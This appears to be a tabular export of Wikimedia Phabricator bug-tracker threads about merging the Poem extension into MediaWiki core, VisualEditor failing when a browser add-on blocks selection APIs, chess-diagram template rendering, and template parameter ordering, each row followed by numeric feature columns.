+Regarding the tag name, is <poem> ever actually used for things besides poems? I usually use <pre> for other cases.",,,1389061208,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1
+237240,Merge Poem extension into MediaWiki core,"(In reply to comment #8)
+> I am thinking something like <verbatim>, <asis> (""as is""), <nocollapse>,
+> <pretext>/<pre-text> (as in <pre> but for text, not code), <keepbreaks>
+> [...]
+
+Okay, I'll paint this bikeshed. I like verbatim or pretext. How about one of those?
+
+> 2. The attribute ""compact"" seems to actually make the display less compact.
+> See the testcase at [[mw:Extension:Poem]]. I think we need a new name/alias for
+> this too. However, I have no idea what it is actually meant to be used for...
+
+I'm not sure ""compact"" is needed... do people use it? If so, are there examples of it in the wild?",,,1389057399,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,27,,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+237233,Merge Poem extension into MediaWiki core,"OK, I'm taking a look at this. The merge looks easy enough, but I need advice.
+
+Poem has two major nomenclature issues:
+
+1. The tag should have another name besides <poem>. In comment 6 <nobreak> was suggested, but Poem does the reverse - it preserves line breaks. I am thinking something like <verbatim>, <asis> (""as is""), <nocollapse>, <pretext>/<pre-text> (as in <pre> but for text, not code), <keepbreaks> ......... ?? Any better ideas?
+
+2. The attribute ""compact"" seems to actually make the display less compact. See the testcase at [[mw:Extension:Poem]]. I think we need a new name/alias for this too. However, I have no idea what it is actually meant to be used for...",,,1388220804,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,25,,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+237228,Merge Poem extension into MediaWiki core,"(In reply to comment #6)
+> (In reply to comment #5)
+> > If you merge it to core, please call it something other than <poem>. Other
+> > than that I couldn't care less :D
+> 
+> I think we must keep the name ""<poem>"" for backward-compatibility, but it
+> should definitely have a saner alias (""<nobreak>"" or something).
+
+The main name of the feature should be something else, <poem> can be an alias for backwards-compatibility.",,,1374862476,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,True,,,3,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,1
+237222,Merge Poem extension into MediaWiki core,"(In reply to comment #5)
+> If you merge it to core, please call it something other than <poem>. Other
+> than that I couldn't care less :D
+
+I think we must keep the name ""<poem>"" for backward-compatibility, but it should definitely have a saner alias (""<nobreak>"" or something).",,,1374855121,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,1
+237218,Merge Poem extension into MediaWiki core,"If you merge it to core, please call it something other than <poem>. Other than that I couldn't care less :D",,,1374849740,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1
+237211,Merge Poem extension into MediaWiki core,"Poem was merged into core back in 2008, but subsequently reverted; see http://www.mediawiki.org/wiki/Special:Code/MediaWiki/43520.
+I must say, however, that I totally agree with the original report and Poem (along with some obvious stuff like CheckUser, RenameUser, etc.) should be in core; maybe it should've been there from day one, even.",,,1374843237,,PHID-USER-mlp7cjyksjzemkdr5ued,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,1,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+237205,Merge Poem extension into MediaWiki core,"Steps to deprecate an extension (apart from actual code changes):
+
+* Turn off extension for testwiki in InitialiseSettings.php and make sure nothing breaks (1 deployment cycle)
+* Turn off extension for all wikis in InitialiseSettings.php and make sure nothing breaks (1 deployment cycle)
+* Remove extension from CommonSettings.php, wmf-config/extension-list, and make-wmf-branch/default.conf (1 deployment cycle)
+* Move/deprecate MediaWiki documentation
+* Get component removed from Bugzilla, migrate any existing bugs
+* Have project removed from Gerrit (not immediately of course)",,,1374792408,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+237201,Merge Poem extension into MediaWiki core,"(In reply to comment #1)
+> Anytime an extension is created or deprecated it's a logistical pain in the
+> ass.
+
+Can you elaborate on this? It seems pretty easy to me.",,,1374789622,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,1
+237196,Merge Poem extension into MediaWiki core,"I'm cool with merging it into core, although I probably wouldn't call it 'easy'. Anytime an extension is created or deprecated it's a logistical pain in the ass. Also, I would prefer to have this idea vetted on Wikitech-l before someone actually goes through the trouble of doing it.",,,1374789414,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-bdnotllyeea37ihjkmr3,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+54008,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),"VE should work as expected without clipboard access.  Currently it only half initalises.
+
+1. Install Kill Evil in Chrome or similar
+2. Edit any page
+
+(https://chrome.google.com/webstore/detail/kill-evil/epieehnpcepgfiildhdklacomihpoldk)
+
+Result:
+https://en.wikipedia.org/wiki/File:Missing-ui-ve.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374713100,1718626265.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-cn7rkjg6saedlg6no5bg,task_description,declined,True,c1,3,False,False,False,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+2358762,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),The extension in question doesn't exist anymore. I still don't think we need to support any future extension that kills essential web APIs.,,,1718626265,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,572,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+659362,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),"People disable these features for good reason; a nice error message, or even an ugly error message, would be helpful to let them know why VE wont load.",,,1462884959,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,False,,,149,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+659349,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),"@Esanders I agree, but perhaps we should also be better about error handling in general when an app such as VE fails to launch. There is no problem with not supporting Kill Evil, but I think there is a problem of ending up in a half initiated state with no user feedback right ?
+
+I think that is an area that we could be better at (be it VE, UploadWizard or what not).",,,1462883974,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,149,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0
+659341,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),This little used extension kills APIs that are essential for VE to work.,,,1462883110,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,149,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+233078,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),Sorry for very slow triage.,,,1390417139,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,29,,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+233071,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),"When 'Kill Evil' addon exists, there are two failures to load modules, and then an exception which halts the VE initialisation half way.
+
+Module 'WrappedSelection' failed to load: Module 'WrappedSelection' failed to load: No means of selecting a Range or TextRange was found rangy-core-1.3.js:105
+
+Module 'Position' failed to load: required module 'WrappedSelection' not supported rangy-core-1.3.js:105
+
+Uncaught TypeError: Object #<WrappedSelection> has no method 'refresh' rangy-core-1.3.js:3035
+
+WrappedSelection rangy-core-1.3.js:3035
+getSelection rangy-core-1.3.js:3084
+ve.ce.Surface.showSelection ve.ce.Surface.js:1325
+ve.ce.Surface.onChange ve.ce.Surface.js:747
+oo.EventEmitter.emit oo.js:421
+ve.dm.Surface.change ve.dm.Surface.js:402
+ve.dm.SurfaceFragment.select ve.dm.SurfaceFragment.js:448
+ve.ui.Surface.initialize ve.ui.Surface.js:81
+(anonymous function) ve.init.mw.ViewPageTarget.js:1098
+proxy load.php?debug=true&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.t…%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130725T023359Z:775
+
+in ve.ui.Surface method initialize, the following invocation should probably be skipped if those rangy modules have failed to load.
+
+   // By re-asserting the current selection and forcing a poll we force selection to be something
+   // reasonable - otherwise in Firefox, the initial selection is (0,0), causing bug 42277
+   this.model.getFragment().select();",,,1374728047,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+233064,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),This isn't a fancy thing. You can't do things like bold the selection if you can't access information about what is actually selected.,,,1374714907,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0
+233056,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),That too ;-)  Making the bug more general.  Hopefully VE is able to be at least partially functional without all those fancy things.,,,1374714190,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0
+233047,VisualEditor: Gracefully handle when available browser UI features are disabled (rather than refusing to load),"That's more likely caused by the ""getSelection and onselectstart/onmousedown"" part of that extension.",,,1374713556,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cn7rkjg6saedlg6no5bg,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0
+53932,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,"A very common chess template on many Wikipedias recommends using '|=' , and most instances of chess boards use this syntax
+https://en.wikipedia.org/wiki/Template:Chess_diagram#Standard_diagram
+https://de.wikipedia.org/wiki/Vorlage:Schachbrett#Standarddiagramm
+
+On German Wikipedia, editing the template strips the '=' signs.  This article is on the parsoid topfails
+https://de.wikipedia.org/wiki/Edward_Lasker?veaction=edit
+http://parsoid.wmflabs.org:8001/topfails/1
+
+There are 900 uses of these chess templates on German Wikipedia.
+https://de.wikipedia.org/w/index.php?title=Spezial:Linkliste/Vorlage:Schachbrett&limit=750
+https://de.wikipedia.org/w/index.php?title=Spezial:Linkliste/Vorlage:Schachbrett-klein&limit=115
+A few more of
+https://de.wikipedia.org/wiki/Vorlage:Schachbrett-10x10
+https://de.wikipedia.org/wiki/Vorlage:Schachbrett-8x10
+https://de.wikipedia.org/wiki/Vorlage:Schachbrett-Chaturanga
+
+The syntax is used on many other WPs, incl. eswp, frwp, plwp and ruwp
+https://es.wikipedia.org/wiki/Plantilla:Diagrama_de_ajedrez#Diagrama_est.C3.A1ndar
+https://fr.wikipedia.org/wiki/Mod%C3%A8le:Diagramme_d%27%C3%A9checs
+https://fr.wikipedia.org/wiki/Alexandre_Alekhine
+https://pl.wikipedia.org/wiki/Szablon:SzachyDiagram
+https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%A8%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D0%BD%D0%B0%D1%8F_%D0%B4%D0%B8%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0
+
+On English, the VE UI can go into massive layout problems, but the UI issues may all be due to the Parsoid issue.
+https://en.wikipedia.org/wiki/French_Defence?veaction=edit
+The number of uses on enwp appears to be in the same ballpark as dewp
+https://en.wikipedia.org/w/index.php?title=Special:WhatLinksHere/Template:Chess_diagram&limit=900
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+{T55226}
+{T53166}
+{T73404}",Low,25.0,1374655260,1429477508.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-73q6sosb7r2syig35llq,task_description,resolved,True,c1,3,False,False,False,3,,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1
+446007,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,"There are no screenshots here to show how it used to be broken, but it seems to behave correctly now.",,,1429477499,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-73q6sosb7r2syig35llq,task_subcomment,,True,c1,3,True,,,93,,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+252352,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,Also at https://fr.wikipedia.org/w/index.php?title=Tour_(%C3%A9checs)&diff=96381943&oldid=95391142 .,,,1378286809,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-73q6sosb7r2syig35llq,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+252346,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,"Moving to visual editor in case there is something about the Parsoid output that is causing broken layout in the ""|="" form of chess-board syntax.  Please assign to Parsoid if there is a bug here in our output.",,,1375205944,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-73q6sosb7r2syig35llq,task_subcomment,,True,c1,3,True,,,4,,0,1,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+252341,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,"Hmm .. strange.  When I copied both forms of the syntax into a file and parse it with Parsoid, the html renders just fine.  Curious why it breaks in VE however.
+
+Verifiable here: http://parsoid.wmflabs.org/_wikitext/
+
+Paste this there and scroll down past the literal html and you'll see this rendered correctly there.
+
+------------------------------------------------
+{{Infobox chess opening
+|openingname = French Defence
+|image = {{Chess diagram|=
+|
+|
+|=
+  |rd|nd|bd|qd|kd|bd|nd|rd|=
+  |pd|pd|pd|pd|  |pd|pd|pd|=
+  |  |  |  |  |pd|__|__|__|=
+  |  |  |__|  |__|__|__|__|=
+  |  |  |__|  |pl|__|__|__|=
+  |  |  |__|__|__|__|__|__|=
+  |pl|pl|pl|pl|__|pl|pl|pl|=
+  |rl|nl|bl|ql|kl|bl|nl|rl|=
+|
+}}
+|moves=1.e4 e6
+|ECO=C00–C19
+|birth =
+|nameorigin = London vs. Paris correspondence match (1834–36)
+|parentopening = [[King's Pawn Game]]
+|AKA =
+|chessgid=39913&move=2&moves=e4.e6&nodes=21720.39913
+}}
+------------------------------------------------",,,1375137900,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-73q6sosb7r2syig35llq,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+252335,VisualEditor: CSS munging causing absolutely-positioned chess diagrams(?) to break,"An alternative 'pretty' syntax that doesnt cause breakages is:
+
+https://de.wikipedia.org/w/index.php?title=Edward_Lasker&diff=120835751&oldid=120194113
+
+The html comments are visible in the parameters of the template dialog, but it stops the dirty diffs if this |= syntax is not desirable.",,,1374655563,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-73q6sosb7r2syig35llq,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+53930,VisualEditor: Template parameters should be in TemplateData recommended order,"Several users on the English Wikipedia, most recently Salix, have requested that the parameters for templates should be in the recommended order not alphabetical order. 
+
+For example in {{tracklist}} it lists ""Track10"" before ""Track2"", and in the various citation templates, ""First"" and ""Last"" should be adjacent.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374654480,1389755241.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-3r7ax46g5ehieydsuuvm,task_description,resolved,True,c1,3,False,False,False,3,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,0
+252261,VisualEditor: Template parameters should be in TemplateData recommended order,"Change 107428 merged by jenkins-bot:
+Use paramOrder data for ordering template parameters
+
+https://gerrit.wikimedia.org/r/107428",,,1389754734,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+252260,VisualEditor: Template parameters should be in TemplateData recommended order,"Change 107428 had a related patch set uploaded by Trevor Parscal:
+Use paramOrder data for ordering template parameters
+
+https://gerrit.wikimedia.org/r/107428",,,1389730796,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+252257,VisualEditor: Template parameters should be in TemplateData recommended order,Resolved in Ic3eb665389380c8e3dd6562b059c2f6655a22588,,,1389730752,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+252254,VisualEditor: Template parameters should be in TemplateData recommended order,"After filling/testing a couple of templates in ca.wikipedia.org, it looks like the current behavior is the following:
+
+* Required fields are sorted by the order they are listed in the template data.
+* Optional files are sorted alphabetically.
+
+Please sort everything following the same sequence used in the template data. Usually this is the same order used in the ""old"" documentation, which in turn tends to follow the order in which the information is presented.",,,1386640799,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,False,,,23,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+252251,VisualEditor: Template parameters should be in TemplateData recommended order,"The dependency has been fixed.
+
+Is the importance of this still ""Low enhancement""?",,,1384434926,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3r7ax46g5ehieydsuuvm,task_subcomment,,True,c1,3,True,,,19,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0
